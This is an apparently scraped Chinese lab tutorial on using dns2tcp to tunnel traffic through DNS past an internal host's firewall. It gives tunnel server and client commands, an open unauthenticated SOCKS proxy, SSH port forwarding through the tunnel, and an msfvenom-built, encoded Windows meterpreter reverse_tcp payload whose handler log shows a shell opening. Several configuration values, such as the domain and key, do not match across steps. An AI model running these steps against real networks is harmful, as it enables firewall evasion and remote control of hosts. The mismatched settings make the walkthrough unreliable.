Dns2tcp隧道
0x01 dns2tcp绕过的原理
dns2tcp是一款基于c/s架构的软件,它可以将通信报文夹藏在udp协议的TXT解析记录中,进而形成dns隧道。dns隧道通过dns2tcpc对本地端口的监听,实现端口转发,进而对远程主机上的应用端口进行访问。大致了解了原理,下面我们通过一个模拟实验来学习一下dns2tcp隧道的应用。
由上图可知,本实验的主要配置有两方面,一个是DNS服务器的配置(此处已完成该方面配置,配置信息如下,由于资源有限,故在攻击机Kali上直接集成了DNS服务器),另一个是dns2tcp的客户端和服务端的配置。
攻击机Kali
IP:10.10.10.10
DNS:10.10.10.100
DNS服务器:
域名:abc.qianxin.com IN NS www.qianxin.com www.qianxin.com IN A 10.10.10.100
内网机:已开启防火墙
IP:10.10.10.20
DNS:10.10.10.100
0x02 Dns2tcpd配置
现在Kali Linux上均安装了Dns2tcp工具,我们需要修改的配置文件在/etc/dns2tcpd.conf文件
listen = 0.0.0.0
port = 53 //本地监听53端口,实现DNS的udp数据报通信
# If you change this value, also change the USER variable in /etc/default/dns2tcpd
user = nobody
chroot = /tmp
domain = test.redwand.com //domain变量定义了DNS隧道通过的查询区域
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25 , socks:127.0.0.1:7777 //定义了将远程某个资源转发到dns2tcpc端
key = pass //密码
通过以下名单启动dns2tcp服务端,实现dns2tcpd服务端监听,其中-d参数表示debug级别为1,-F参数表示前台运行。
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
在资源里我们设置了socks,但这个是需要我们自己配置的,所以我们使用dante-server搭建socks
apt-get install dante-server
安装完成后,我们打开配置文件/etc/danted.conf进行修改,配置了一个监听端口7777的socks代理,无身份认证,允许任何客户端连接
logoutput: /var/log/sockd.log
internal: eth0 port = 7777
external: eth0
socksmethod: username none
user.privileged: proxy
user.unprivileged: nobody
client pass {
from: 0.0.0.0/0 port 1-65535 to: 0.0.0.0/0
}
socks pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
protocol: tcp udp
}
接下来,我们通过命令启动dante,命令如下
systemctl start danted //启动
systemctl status danted //查看状态
0x03 Dns2tcpc配置
客户端首先要设置DNS,这里需要修改/etc/resolv.conf文件(此处尤其重要,需通过文件检查)
nameserver 10.91.40.40
然后在内网机上执行命令即可实现DNS隧道,-c参数表示压缩传输数据,-r表示访问dns2tcpd一端的哪种资源,-z表示通过某个域查询实现
dns2tcpc -c -k hopeamor -l 2222 -d 1 -r ssh -z abc.qianxin.com
然后新开窗口,输入以下命令,成功返回即成功,前提是客户端已开启ssh服务且允许用户登录
ssh root@127.0.0.1 -p 2222
工具通过配合使用,往往能够产生更大的效果,SSH本身是可以进行动态端口转发的,也就是能够配置浏览器进行代理上网,具体命令如下
ssh -CfNg -D 8080 root@127.0.0.1 -p 2222
由于该命令并不会显示具体情况,我们可通过下列命令查看是否成功
netstat -pantu
可以在kali上生成ma.exe,监听在172.16.1.11的6666端口上
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.11 lport=6666 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -o ma.exe
然后在172.16.1.11上通过dns隧道嵌套ssh隧道实现本地端口转发
ssh -CfNg -L 6666:192.168.3.29:6666 root@127.0.0.1 -p 2222
最后在kali(192.168.3.29)上开启msf监听6666端口,在DCserver(172.16.1.12)上运行ma.exe,成功得到上线meterpreter shell。
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 6666
lport => 6666
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:6666
[*] Sending stage (180291 bytes) to 192.168.3.29
[*] Meterpreter session 1 opened (192.168.3.29:6666 -> 192.168.3.29:55050) at 2021-01-16 22:22:16 -0500
meterpreter >
Dns2tcp隧道的更多相关文章
- DNS隧道工具dns2tcp
DNS隧道工具dns2tcp 在很多网络环境中,防火墙会限制出站流量,主机往往只能访问外网主机有限的几个端口,如DNS的53端口.这时,就可以通过DNS请求和响应机制,建立通信隧道.Kali Li ...
- DNS隧道之DNS2TCP使用心得教程——是可以用来穿透qiang的,ubuntu下直接apt install dns2tcp
DNS隧道之DNS2TCP使用心得教程 转自:http://blog.creke.net/750.html DNS2TCP是在上次DNS隧道大检阅时提到的一个DNS隧道. 在2010年6月的更新(也是 ...
- DNS隧道之DNS2TCP实现——dns2tcpc必须带server IP才可以,此外ssh可以穿过墙的,设置代理上网
我自己的命令: server端: dns2tcpd -F -d 1 -f ./dns2tcpd.conf 输出: 09:08:59 : Debug options.c:97 Add resource ...
- 基于常规DNS隧道进行的tcp端口转发dns2tcp的使用
0x01 安装Dns2TCP dns2tcp 是一个利用DNS隧道转发TCP连接的工具,使用C语言开发. sudo apt-get install dns2tcp 0x02配置dns2tcp 配置DN ...
- 2016.6.17 kali Linux 隧道工具
隧道工具的基本概念: 1.在计算机网络中,隧道工具是指使用一种网络协议去封装另一种网络协议的技术. 2.通常用来数据伪装或者穿越防火墙,在入侵目标系统后,可用来提升权限和权限维持. Kali中的隧道工 ...
- DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测
1. DNS隧道简介 DNS隧道技术是指利用 DNS协议建立隐蔽信 道,实现隐蔽数据传输.最早是在2004年 DanKaminsky 在 Defcon大会上发布的基于 NSTX 的 DNS隐蔽 隧道工 ...
- dns隧道 dns2tcpd
有些网络的防火墙设置只允许端口53的UDP流量,就不能通过tcp搭建隧道,这种情况下我们可以通过UDP搭建DNS隧道,通过搭建一个DNS服务器委派的子域,这个子域因为使我们自己搭建的主机,这时候就可以 ...
- dns2tcp使用教程
在2010年6月的更新(也是迄今为止最新的更新)后,其源代码支持编译为Windows平台的可执行程序.而且此工具使用C语言开发编写,不需要TUN/TAP,所以大大加强了它的可用性. 下载 当前最新的0 ...
- DNS隧道工具汇总——补充,还有IP over DNS的工具NSTX、Iodine、DNSCat
github上有一堆的工具:https://github.com/search?utf8=%E2%9C%93&q=DNS+tunnel+&type= DNS隧道大检阅 研究了一天的DN ...
随机推荐
- Redis 的持久化机制是什么?各自的优缺点?
Redis 提供两种持久化机制 RDB 和 AOF 机制: 1.RDBRedis DataBase)持久化方式: 是指用数据集快照的方式半持久化模式) 记录 redis 数据库的所有键值对,在某个时间 ...
- Flask-SQLAlchemy 使用教程
Flask-SQLAlchemy ,是对SQLAlchemy进一步封装 SQLAlchemy使用教程地址: https://www.cnblogs.com/bigox/p/11552542.html ...
- 学习Apache(五)
apache目前主要有两种模式:prefork模式和worker模式: 1)prefork模式(默认模式) prefork是Unix平台上的默认(缺省)MPM,使用多个子进程,每个子进程只有一个线程 ...
- 学习Keepalived(二)
一.keepalived简介 keepalived是集群管理中保证集群高可用的一个服务软件,其功能类似于,用来防止单点故障. 二.vrrp协议2.1 vrrp协议简介 在现实的网络环境中,两台需要通信 ...
- MyBatis Plus 2.3 个人笔记-02-基本注解
实体类注解 /* * MybatisPlus会默认使用实体类的类名到数据中找对应的表. * */ @TableName("tbl_employee") public class E ...
- 攻防世界PHP2
PHP2 进入环境就一个英文其他啥都没有,英文也没啥提示信息 我们使用dirsearch扫描一下,一开始确实没扫到什么东西,到最后看了wp发现原来源码是在index.phps中,这里只提供一个思路,不 ...
- API的自动化测试
传统的测试工具在测试一个API的时候,必须手动填写这个API所需要接收的所有信息,比如一个查询航班动态的API,他接收两个输入字段,一个叫flight, 一个叫date,那么测试这个API的用户,需要 ...
- 前端网络安全——前端XSS
XSS攻击:Cross Site Scripting(跨站脚本攻击) XSS攻击原理:程序+数据=结果,如果数据中包含了一部分程序,那么结果就会执行不属于站点的程序. XSS攻击能干什么?能注入Scr ...
- java中的方法(method)到底怎么用?给个例子
7.方法(method) 被调例子, int add(int x, int y){ return x+y; } 主调例子, for example: int result = add(5,3); ...
- 将项目导入eclipse中出现的jsp页面报错
图片摘自百度经验,实在是每次都会忘了步骤,每次都得重新百度,所以索性自己总结到博客中,下次如果还记不住就直接从博客中看.原谅我实在学渣,呜呜~~~~(>_<)~~~~